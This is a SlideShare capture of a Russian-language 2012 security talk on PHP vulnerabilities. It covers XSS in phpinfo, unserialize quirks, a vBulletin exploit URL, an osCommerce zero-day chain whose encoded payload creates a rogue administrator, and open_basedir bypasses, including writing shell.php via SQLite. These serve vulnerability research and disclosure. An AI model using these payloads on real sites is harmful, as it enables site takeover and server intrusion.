Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
PHP tricks



             Сергей «BlackFan» Бобров

                       Август, 2012 г.
Содержание


    PHP Tricks
     • XSS в phpinfo

     • Unserialize tricks

     • etc…


    vBulletin XSS via RCE 


    osCommerce Online Merchant 0day


    PHP open_basedir bypass
PHP trick #1 – XSS в phpinfo


     Названия дополнительных модулей и заголовочная
     информация подвержены XSS
PHP trick #2 – XSS в phpinfo


     Начиная с PHP 5.4.0 для вывода PHP Streams, Stream Socket
     Transports и Stream Filters была создана отдельная функция
PHP trick #2 – XSS в phpinfo


     Начиная с PHP 5.4.0 для вывода PHP Streams, Stream Socket
     Transports и Stream Filters была создана отдельная функция
PHP trick #3 – Баг парсера переменных


    Неправильная замена символов в парсинге массивов в GET,
    POST, COOKIE
PHP trick #3 – Баг парсера переменных


    Неправильная замена символов в парсинге массивов в GET,
    POST, COOKIE

     GET /var_parser.php?aa%20aa=1   GET /var_parser.php?a[a%20aa=1

     array(1) {                      array(1) {
         ["aa_aa"]=> string(1) "1"       ["a_a aa"]=> string(1) "1"
     }                               }


     GET /var_parser.php?aa.aa=1     GET /var_parser.php?a[a.aa=1

     array(1) {                      array(1) {
         ["aa_aa"]=> string(1) "1"       ["a_a.aa"]=> string(1) "1"
     }                               }


     GET /var_parser.php?aa[aa=1     GET /var_parser.php?a[a[aa=1

     array(1) {                      array(1) {
         ["aa_aa"]=> string(1) "1"       ["a_a[aa"]=> string(1) "1"
     }                               }
PHP tricks – Unserialize tricks


     Сериализация — процесс перевода какой-либо структуры
     данных в последовательность битов.


     Обратной к операции сериализации является операция
     десериализации — восстановление начального состояния
     структуры данных из битовой последовательности.


     Пример сериализованных данных в PHP
      O:4:”test”:2:{s:4:”var1”;s:4:”test”;s:4:”var2”;b:1;}
PHP trick #4 – Unserialize trick #1


     Целочисленное переполнение в unserialize
PHP trick #5 – Unsirialize trick #2


     Произвольный символ после строки
PHP trick #6 – Unsirialize trick #3


     «Необязательность» количества переменных и
     произвольные символы после них
PHP tricks – Unsirialize tricks


     Объединим все нарушения синтаксиса в одну строку
PHP trick #7 – Unsirialize trick #4

    Особенности выполнения деструктора
vBulletin XSS via RCE


     vBulletin nulled <= 3.8.2 Arbitrary Function Execution
      http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/




      class vB_Shutdown {
          …
     function __destruct() {                                                …
                                                                  foreach ($this-
     >shutdown AS $key => $funcname) {
     $funcname();




     Не будем останавливаться на вызове phpinfo()
vBulletin XSS via RCE


     debug_print_backtrace
       debug_print_backtrace prints a PHP backtrace. It prints the function calls,
       included/required files and eval()ed stuff.


     Пример вывода
      #0 vB_Shutdown->__destruct()

      #1 unserialize(a:1:{i:0;O:11:"vB_Shutdown":1:{s:8:"shutdown"; a:1:
       {i:0;s:21:"debug_print_backtrace";}}}) called at
       [/path/forumdisplay.php:179]
vBulletin XSS via RCE


     Exploit
      http://vbulletin/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&

      postvars=2a2d3492e8667cad2393b8bfe620e70b00130d2a

       a:2:{

           i:0;s:36:"<script>alert('Fuck yeah!')</script>";

           i:1;O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:1;s:21:"debug_print_backtrace";}

       }
osCommerce Online Merchant 0day #1

    osCommerce Online Merchant 2.3.*
      is an Open Source online shop e-commerce solution that is available for free
      with a feature rich set of out-of-the-box online shopping cart functionality
      that blah-blah-blah...


    Модуль «Who's Online»
     • Просмотр информации об активных пользователях

     • Просмотр содержимого их корзины
osCommerce Online Merchant 0day #1

    Реализация просмотра корзины в модуле «Who's Online»
     1. Берем сырые данные из сессии пользователя

     2. Находим подстроку содержащую объект корзины

     3. Десериализуем и обновляем массив _SESSION у администратора
         (session_decode)



     Аналогичные действия производим с

     •   customer_id

     •   сurrency

     •   customer_country_id

     •   customer_zone_id
osCommerce Online Merchant 0day #1

    Содержимое сессий пользователей / гостей
     • sessiontoken

     • cart

     • language

     • navigation (история посещений включая GET/POST параметры)

     • customer_id (отсутствует у гостей)

     • etc…
osCommerce Online Merchant 0day #1

    Реализация в коде


     $start_id = strpos($session_data, 'customer_id|s');

     …

     $session_data_id = substr($session_data, $start_id,

         (strpos($session_data, ';', $start_id) - $start_id + 1));

     …

     session_decode($session_data_id);
osCommerce Online Merchant 0day #1

    Эксплуатация
     • «customer_id» в сессии идет после истории посещений

     • Наличие в истории «customer_id|s» нарушит логику поиска переменной

     • Поиск идет до следующей точки с запятой



     session_decode('customer_id|s|foobar|s:7:"AWESOME";');

     var_dump($_SESSION);



     array(3) {

         ["customer_id"] => NULL

         ["s"] => NULL

         ["foobar"] => string(7) "AWESOME"

     }
osCommerce Online Merchant 0day #2

    Данные из сессии глобализуются с перезаписью



      if (($session_started == true) &&

          (PHP_VERSION >= 4.3) &&

          function_exists('ini_get') &&
          (ini_get('register_globals') == false) ) {



         extract($_SESSION, EXTR_OVERWRITE+EXTR_REFS);

     }
osCommerce Online Merchant 0day #3


    Индексы GPC массивов не проходят функцию addslashes
     Начиная с PHP 5.4.0 get_magic_quotes_gpc() всегда возвращает false и эта функция срабатывает




     function do_magic_quotes_gpc(&$ar) {

       …

       while (list($key, $value) = each($ar)) {

           if (is_array($ar[$key])) {

               do_magic_quotes_gpc($ar[$key]);

           } else {

               $ar[$key] = addslashes($value);

           }
osCommerce Online Merchant 0day #100500


    Используем все перечисленные баги, а так же
     • За счет перезаписи переменных сделаем XSS в messageToStack (стек
      информационных сообщений отображаемых в админ-панеле)

     • Подделаем запрос на добавление админа путем перезаписи массива
      HTTP_POST_VARS

     • Уберем «зараженную» через XSS
osCommerce Online Merchant 0day #100500


    Финальный эксплоит 
      POST-запрос customer_id|s|HTTP_POST_VARS|a:2:
       {s:8:"username"xs:8:"admin666"}s:8:"password"xs:8:"admin666"}}messageToStack|
       a:2:{s:1:"0"xa:2:
       {s:4:"text"xS:136:"Session20expired.20Please20relogin.3c696672616d65207
       372633d2261646d696e6973747261746f72732e7068703f616374
       696f6e3d696e7365727422207374796c653d227669736962696c
       6974793a68696464656e3b77696474683a3070783b6865696768
       743a3070783b223e3c2f696672616d653e"}s:4:"type"xs:0:""x}s:1:"1"xa:
       2:
       {s:4:"text"xS:100:"3c7363726970743e736574496e74657276616c28
       66756e6374696f6e28297b646f63756d656e742e636f6f6b69653d
       276f734341646d696e49443d273b646f63756d656e742e6c6f636
       174696f6e3d272f273b7d2c2032303030293c2f7363726970743e"
       }s:4:"type"xs:0:""x}}=1
osCommerce Online Merchant 0day #100500


    Логика эксплоита:
     • Заражаем свою историю посещений

     • После открытия администратором модуля «who’s online» происходит
      заражение его сессии

     • При следущем запросе администратору выдаст сообщение «Session
      expired. Please relogin.»

     • В iframe подгрузится «administrators.php?action=insert» и добавится
      администратор admin666:admin666

     • Через XSS перебрасываем админа на главную и очищаем идентификатор
      с зараженной сессией

      <script>setInterval(function(){document.cookie='osCAdminID=';

      document.location='/';}, 2000)</script>
PHP open_basedir bypass


    open_basedir
      Ограничивает указанным деревом каталогов файлы, которые могут быть
      открыты с помощью PHP, включая сам файл. Эта директива НЕ
      подвержена влиянию безопасного режима.



     http://www.php.net/manual/ru/ini.core.php#ini.open-basedir
PHP open_basedir bypass #0


    Разная реакция функций на существующий и
    несуществующий файл за пределами open_basedir


     var_dump(realpath('../test1.txt'));

     Warning: realpath() [function.realpath]: open_basedir restriction in effect.

     False



     var_dump(realpath('../test1_.txt'));

     False
PHP open_basedir bypass #1


    Разная реакция функций на существующий и
    несуществующий файл за пределами open_basedir


     $z = new ZipArchive();

     $z->open(“openbd.zip”,ZIPARCHIVE::CREATE);

     $z->addGlob(“/*”);



     Warning: ZipArchive::addGlob() [ziparchive.addglob]: open_basedir
      restriction in effect. File(/bin/) is not within the allowed path(s):
PHP open_basedir bypass #2


    DirectoryIterator directory listing by BECHED (14.01.12)
     http://ahack.ru/releases/glob_wrapper_open_basedir_exploit.php.txt
PHP open_basedir bypass #2

    Логика проверки open_basedir
     New DirectoryIterator(‘glob://../*’);

     • Путь к файлу попадает в функцию проверки вместе с враппером

       glob://../*

     • Путь относительный, дописываем текущую директорию

       /var/www/site/glob://../*

     • Нормализуем путь

       /var/www/site/*

     • Файл лежит в разрешенной директории, пропускаем
PHP open_basedir bypass #3 (CVE-2012-3365)


    SQLite In-Memory Databases


     •   An SQLite database is normally stored in a single ordinary disk file.
         However, in certain circumstances, the database might be stored in
         memory.



     •   The most common way to force an SQLite database to exist purely in
         memory is to open the database using the special filename ":memory:".
         For example: rc = sqlite3_open(":memory:", &db);



     •   When this is done, no disk file is opened. Instead, a new database is
         created purely in memory.
                                                  http://www.sqlite.org/inmemorydb.html
PHP open_basedir bypass #3 (CVE-2012-3365)


    Варианты использования


     •   :memory:

     •   file::memory:

     •   file:%3A%6D%65%6D%6F%72%79%3A

     •   file::memory:?cache=shared

     •   file:memdb1?mode=memory&cache=shared
PHP open_basedir bypass #3 (CVE-2012-3365)


    Реализация в коде
     /php-src/ext/sqlite3/sqlite3.c




     /php-src/ext/sqlite3/libsqlite/sqlite3.c
PHP open_basedir bypass #3 (CVE-2012-3365)

    Создание файлов за пределами open_basedir через SQLite


     <?php

      mkdir(‘:memory:’);

      $database = new SQLite3(“:memory:/../../shell.php”);

      $database->exec(“CREATE TABLE foo (bar STRING)”);

      $database->exec(“INSERT INTO foo (bar) VALUES (‘<?php phpinfo(); ?>’)”);

      $database->close();

      rmdir(‘:memory:’);

     ?>
PHP open_basedir bypass #3 (CVE-2012-3365)


    Improve check for :memory: pseudo-filename in SQlite
    (https://github.com/php/php-src/commit/055ecbc62878e86287d742c7246c21606cee8183)



    Было:


    if (strncmp(filename, ":memory:", 8) != 0)


    Стало:


    if (memcmp(filename, ":memory:", sizeof(":memory:")) != 0)
Спасибо за внимание!


sbobrov@ptsecurity.ru

More Related Content

PHP Tricks

  • 1. PHP tricks Сергей «BlackFan» Бобров Август, 2012 г.
  • 2. Содержание PHP Tricks • XSS в phpinfo • Unserialize tricks • etc… vBulletin XSS via RCE  osCommerce Online Merchant 0day PHP open_basedir bypass
  • 3. PHP trick #1 – XSS в phpinfo Названия дополнительных модулей и заголовочная информация подвержены XSS
  • 4. PHP trick #2 – XSS в phpinfo Начиная с PHP 5.4.0 для вывода PHP Streams, Stream Socket Transports и Stream Filters была создана отдельная функция
  • 5. PHP trick #2 – XSS в phpinfo Начиная с PHP 5.4.0 для вывода PHP Streams, Stream Socket Transports и Stream Filters была создана отдельная функция
  • 6. PHP trick #3 – Баг парсера переменных Неправильная замена символов в парсинге массивов в GET, POST, COOKIE
  • 7. PHP trick #3 – Баг парсера переменных Неправильная замена символов в парсинге массивов в GET, POST, COOKIE GET /var_parser.php?aa%20aa=1 GET /var_parser.php?a[a%20aa=1 array(1) { array(1) { ["aa_aa"]=> string(1) "1" ["a_a aa"]=> string(1) "1" } } GET /var_parser.php?aa.aa=1 GET /var_parser.php?a[a.aa=1 array(1) { array(1) { ["aa_aa"]=> string(1) "1" ["a_a.aa"]=> string(1) "1" } } GET /var_parser.php?aa[aa=1 GET /var_parser.php?a[a[aa=1 array(1) { array(1) { ["aa_aa"]=> string(1) "1" ["a_a[aa"]=> string(1) "1" } }
  • 8. PHP tricks – Unserialize tricks Сериализация — процесс перевода какой-либо структуры данных в последовательность битов. Обратной к операции сериализации является операция десериализации — восстановление начального состояния структуры данных из битовой последовательности. Пример сериализованных данных в PHP O:4:”test”:2:{s:4:”var1”;s:4:”test”;s:4:”var2”;b:1;}
  • 9. PHP trick #4 – Unserialize trick #1 Целочисленное переполнение в unserialize
  • 10. PHP trick #5 – Unsirialize trick #2 Произвольный символ после строки
  • 11. PHP trick #6 – Unsirialize trick #3 «Необязательность» количества переменных и произвольные символы после них
  • 12. PHP tricks – Unsirialize tricks Объединим все нарушения синтаксиса в одну строку
  • 13. PHP trick #7 – Unsirialize trick #4 Особенности выполнения деструктора
  • 14. vBulletin XSS via RCE vBulletin nulled <= 3.8.2 Arbitrary Function Execution http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/ class vB_Shutdown { … function __destruct() { … foreach ($this- >shutdown AS $key => $funcname) { $funcname(); Не будем останавливаться на вызове phpinfo()
  • 15. vBulletin XSS via RCE debug_print_backtrace debug_print_backtrace prints a PHP backtrace. It prints the function calls, included/required files and eval()ed stuff. Пример вывода #0 vB_Shutdown->__destruct() #1 unserialize(a:1:{i:0;O:11:"vB_Shutdown":1:{s:8:"shutdown"; a:1: {i:0;s:21:"debug_print_backtrace";}}}) called at [/path/forumdisplay.php:179]
  • 16. vBulletin XSS via RCE Exploit http://vbulletin/forumdisplay.php?f=2&do=doenterpwd&newforumpwd& postvars=2a2d3492e8667cad2393b8bfe620e70b00130d2a a:2:{ i:0;s:36:"<script>alert('Fuck yeah!')</script>"; i:1;O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:1;s:21:"debug_print_backtrace";} }
  • 17. osCommerce Online Merchant 0day #1 osCommerce Online Merchant 2.3.* is an Open Source online shop e-commerce solution that is available for free with a feature rich set of out-of-the-box online shopping cart functionality that blah-blah-blah... Модуль «Who's Online» • Просмотр информации об активных пользователях • Просмотр содержимого их корзины
  • 18. osCommerce Online Merchant 0day #1 Реализация просмотра корзины в модуле «Who's Online» 1. Берем сырые данные из сессии пользователя 2. Находим подстроку содержащую объект корзины 3. Десериализуем и обновляем массив _SESSION у администратора (session_decode) Аналогичные действия производим с • customer_id • сurrency • customer_country_id • customer_zone_id
  • 19. osCommerce Online Merchant 0day #1 Содержимое сессий пользователей / гостей • sessiontoken • cart • language • navigation (история посещений включая GET/POST параметры) • customer_id (отсутствует у гостей) • etc…
  • 20. osCommerce Online Merchant 0day #1 Реализация в коде $start_id = strpos($session_data, 'customer_id|s'); … $session_data_id = substr($session_data, $start_id, (strpos($session_data, ';', $start_id) - $start_id + 1)); … session_decode($session_data_id);
  • 21. osCommerce Online Merchant 0day #1 Эксплуатация • «customer_id» в сессии идет после истории посещений • Наличие в истории «customer_id|s» нарушит логику поиска переменной • Поиск идет до следующей точки с запятой session_decode('customer_id|s|foobar|s:7:"AWESOME";'); var_dump($_SESSION); array(3) { ["customer_id"] => NULL ["s"] => NULL ["foobar"] => string(7) "AWESOME" }
  • 22. osCommerce Online Merchant 0day #2 Данные из сессии глобализуются с перезаписью if (($session_started == true) && (PHP_VERSION >= 4.3) && function_exists('ini_get') && (ini_get('register_globals') == false) ) { extract($_SESSION, EXTR_OVERWRITE+EXTR_REFS); }
  • 23. osCommerce Online Merchant 0day #3 Индексы GPC массивов не проходят функцию addslashes Начиная с PHP 5.4.0 get_magic_quotes_gpc() всегда возвращает false и эта функция срабатывает function do_magic_quotes_gpc(&$ar) { … while (list($key, $value) = each($ar)) { if (is_array($ar[$key])) { do_magic_quotes_gpc($ar[$key]); } else { $ar[$key] = addslashes($value); }
  • 24. osCommerce Online Merchant 0day #100500 Используем все перечисленные баги, а так же • За счет перезаписи переменных сделаем XSS в messageToStack (стек информационных сообщений отображаемых в админ-панеле) • Подделаем запрос на добавление админа путем перезаписи массива HTTP_POST_VARS • Уберем «зараженную» через XSS
  • 25. osCommerce Online Merchant 0day #100500 Финальный эксплоит  POST-запрос customer_id|s|HTTP_POST_VARS|a:2: {s:8:"username"xs:8:"admin666"}s:8:"password"xs:8:"admin666"}}messageToStack| a:2:{s:1:"0"xa:2: {s:4:"text"xS:136:"Session20expired.20Please20relogin.3c696672616d65207 372633d2261646d696e6973747261746f72732e7068703f616374 696f6e3d696e7365727422207374796c653d227669736962696c 6974793a68696464656e3b77696474683a3070783b6865696768 743a3070783b223e3c2f696672616d653e"}s:4:"type"xs:0:""x}s:1:"1"xa: 2: {s:4:"text"xS:100:"3c7363726970743e736574496e74657276616c28 66756e6374696f6e28297b646f63756d656e742e636f6f6b69653d 276f734341646d696e49443d273b646f63756d656e742e6c6f636 174696f6e3d272f273b7d2c2032303030293c2f7363726970743e" }s:4:"type"xs:0:""x}}=1
  • 26. osCommerce Online Merchant 0day #100500 Логика эксплоита: • Заражаем свою историю посещений • После открытия администратором модуля «who’s online» происходит заражение его сессии • При следущем запросе администратору выдаст сообщение «Session expired. Please relogin.» • В iframe подгрузится «administrators.php?action=insert» и добавится администратор admin666:admin666 • Через XSS перебрасываем админа на главную и очищаем идентификатор с зараженной сессией <script>setInterval(function(){document.cookie='osCAdminID='; document.location='/';}, 2000)</script>
  • 27. PHP open_basedir bypass open_basedir Ограничивает указанным деревом каталогов файлы, которые могут быть открыты с помощью PHP, включая сам файл. Эта директива НЕ подвержена влиянию безопасного режима. http://www.php.net/manual/ru/ini.core.php#ini.open-basedir
  • 28. PHP open_basedir bypass #0 Разная реакция функций на существующий и несуществующий файл за пределами open_basedir var_dump(realpath('../test1.txt')); Warning: realpath() [function.realpath]: open_basedir restriction in effect. False var_dump(realpath('../test1_.txt')); False
  • 29. PHP open_basedir bypass #1 Разная реакция функций на существующий и несуществующий файл за пределами open_basedir $z = new ZipArchive(); $z->open(“openbd.zip”,ZIPARCHIVE::CREATE); $z->addGlob(“/*”); Warning: ZipArchive::addGlob() [ziparchive.addglob]: open_basedir restriction in effect. File(/bin/) is not within the allowed path(s):
  • 30. PHP open_basedir bypass #2 DirectoryIterator directory listing by BECHED (14.01.12) http://ahack.ru/releases/glob_wrapper_open_basedir_exploit.php.txt
  • 31. PHP open_basedir bypass #2 Логика проверки open_basedir New DirectoryIterator(‘glob://../*’); • Путь к файлу попадает в функцию проверки вместе с враппером glob://../* • Путь относительный, дописываем текущую директорию /var/www/site/glob://../* • Нормализуем путь /var/www/site/* • Файл лежит в разрешенной директории, пропускаем
  • 32. PHP open_basedir bypass #3 (CVE-2012-3365) SQLite In-Memory Databases • An SQLite database is normally stored in a single ordinary disk file. However, in certain circumstances, the database might be stored in memory. • The most common way to force an SQLite database to exist purely in memory is to open the database using the special filename ":memory:". For example: rc = sqlite3_open(":memory:", &db); • When this is done, no disk file is opened. Instead, a new database is created purely in memory. http://www.sqlite.org/inmemorydb.html
  • 33. PHP open_basedir bypass #3 (CVE-2012-3365) Варианты использования • :memory: • file::memory: • file:%3A%6D%65%6D%6F%72%79%3A • file::memory:?cache=shared • file:memdb1?mode=memory&cache=shared
  • 34. PHP open_basedir bypass #3 (CVE-2012-3365) Реализация в коде /php-src/ext/sqlite3/sqlite3.c /php-src/ext/sqlite3/libsqlite/sqlite3.c
  • 35. PHP open_basedir bypass #3 (CVE-2012-3365) Создание файлов за пределами open_basedir через SQLite <?php mkdir(‘:memory:’); $database = new SQLite3(“:memory:/../../shell.php”); $database->exec(“CREATE TABLE foo (bar STRING)”); $database->exec(“INSERT INTO foo (bar) VALUES (‘<?php phpinfo(); ?>’)”); $database->close(); rmdir(‘:memory:’); ?>
  • 36. PHP open_basedir bypass #3 (CVE-2012-3365) Improve check for :memory: pseudo-filename in SQlite (https://github.com/php/php-src/commit/055ecbc62878e86287d742c7246c21606cee8183) Было: if (strncmp(filename, ":memory:", 8) != 0) Стало: if (memcmp(filename, ":memory:", sizeof(":memory:")) != 0)